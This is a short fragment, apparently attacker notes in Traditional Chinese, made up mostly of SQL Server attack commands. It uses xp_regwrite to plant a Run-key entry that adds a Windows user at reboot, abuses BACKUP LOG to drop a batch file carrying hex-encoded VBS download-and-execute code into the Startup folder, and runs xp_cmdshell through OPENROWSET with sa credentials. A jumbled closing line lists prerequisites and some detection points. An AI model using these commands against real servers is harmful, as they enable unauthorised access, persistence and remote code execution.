EXEC master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
'shell', 'REG_SZ',
'C:\Windows\System32\cmd.exe /C NET USER ray ray /ADD';
下次重啟自動執行,達到持久化控制。
ALTER DATABASE msdb SET RECOVERY FULL;
CREATE TABLE cmd (a IMAGE);
BACKUP LOG msdb TO DISK = 'C:\cmd1' WITH INIT;
INSERT INTO cmd (a) VALUES (0x130A0D0A...); -- 含 VBS 下載執行碼的十六進位
BACKUP LOG msdb TO DISK = 'C:\Documents and Settings\All Users\「開始」功能表\程式\啟動\1.bat';
DROP TABLE cmd;
SELECT * FROM OPENROWSET(
'SQLOLEDB',
'UID=sa;PWD=admin;ADDRESS=127.0.0.1,7788;',
'SET FMTONLY OFF EXEC MASTER..XP_CMDSHELL ''DIR C:\'''
);
sa 帳密、目標開啟遠端連線、埠可達OPENROWSET/OPENDATASOURCE 權限(DISALLOW ADHOC ACCESS)Run、RunOnce)BACKUP LOG 非常規路徑操作